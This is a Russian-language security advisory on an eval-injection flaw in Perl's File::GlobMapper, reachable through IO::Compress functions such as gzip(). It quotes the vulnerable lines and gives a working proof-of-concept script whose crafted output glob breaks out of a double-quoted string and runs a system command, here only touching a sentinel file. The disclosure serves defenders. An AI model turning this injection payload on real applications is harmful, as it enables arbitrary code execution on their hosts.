
CVE-2026-48962 - IO::Compress - Выполнение кода
Уязвимость внедрения eval в File::GlobMapper::_getFiles() позволяет любому атакующему, контролирующему аргумент выходного файлового шаблона, переданного в IO::Compress::Gzip::gzip(), IO::Compress::Zip::zip() или любую аналогичную функцию, выполнить произвольный Perl-код в контексте работающего процесса.
Аутентификация не требуется. Воздействие полное: конфиденциальность, целостность и доступность хост-процесса нарушены полностью.
File::GlobMapper::_parseOutputGlob() создаёт шаблон имени выходного файла, оборачивая предоставленный вызывающей стороной выходной шаблон в Perl-двойные кавычки и сохраняя результат. _getFiles() затем передаёт эту строку напрямую в eval без какой-либо санитизации:
lib/File/GlobMapper.pm:316–321
$string =~ s/${noPreBS}#(\d)/\${$1}/g;
$string =~ s#${noPreBS}\*#\${inFile}#g;
$string = '"' . $string . '"'; # wrapped in double-quotes
$self->{OutputPattern} = $string; # stored verbatim — no escaping
lib/File/GlobMapper.pm:342
eval "\$outFile = $self->{OutputPattern};" ; # executed — injection point
File::GlobMapper вызывается автоматически, когда оба аргумента (входной и выходной) функции IO::Compress::* / IO::Uncompress::* являются строками файловых шаблонов (ограниченными < >). Это документированный и распространённый способ вызова. Затрагиваемые функции включают gzip, zip, bzip2, deflate, rawdeflate и все их аналоги из IO::Uncompress::*.
Любой символ, закрывающий окружающую Perl-строку в двойных кавычках — буквальная ", обратная кавычка, ${...} или @{...} — с последующим произвольным Perl-кодом выполняется буквально.
Сохраните как poc.pl и запустите с помощью perl poc.pl:
#!/usr/bin/perl
use strict;
use warnings;
use File::Temp qw(tempdir);
use IO::Compress::Gzip qw(gzip);
my $dir = tempdir(CLEANUP => 1);
my $sentinel = "/tmp/CVE_GlobMapper_RCE_$$";
# Create a legitimate input file that the input glob will match
open my $fh, '>', "$dir/test.txt" or die $!;
print $fh "data\n";
close $fh;
my $malicious = qq(<$dir/out.gz"; system("touch $sentinel"); #>);
print "Sentinel before: ", (-e $sentinel ? "EXISTS" : "absent"), "\n";
eval { gzip "<$dir/*.txt>" => $malicious };
if (-e $sentinel) {
print "EXPLOITED — arbitrary command executed via eval injection\n";
print "Sentinel: $sentinel\n";
unlink $sentinel;
} else {
print "Did not fire (check error: $@)\n";
}
Ожидаемый вывод:
Sentinel before: absent
EXPLOITED — arbitrary command executed via eval injection
Sentinel: /tmp/CVE_GlobMapper_RCE_<pid>
Подтверждено на IO-Compress 2.219 / Perl 5.40.1 / Ubuntu 26.04.
Это уязвимость удалённого выполнения кода. Любое веб-приложение, API-сервис, CLI-инструмент или конвейер пакетной обработки, который принимает пользовательский ввод и передаёт его в качестве аргумента выходного файлового шаблона любой функции IO::Compress::*, уязвим. Внедрённый код выполняется со всеми привилегиями вызывающего процесса.
Кто подвержен риску: Разработчики и операторы Perl-приложений, которые используют функции IO::Compress::* с соглашением вызова файловых шаблонов и где выходной шаблон формируется из недоверенного ввода — например, шаблоны имён файлов из веб-форм, параметры REST API, CLI-аргументы или файлы конфигурации, контролируемые непривилегированными пользователями.
В контексте setuid или привилегированных демонов эксплуатация приводит к выполнению кода на повышенном уровне привилегий. Ошибка присутствует с первого выпуска File::GlobMapper (≈ 2005) и присутствует во всех дистрибутивах Linux, поставляющих пакет perl.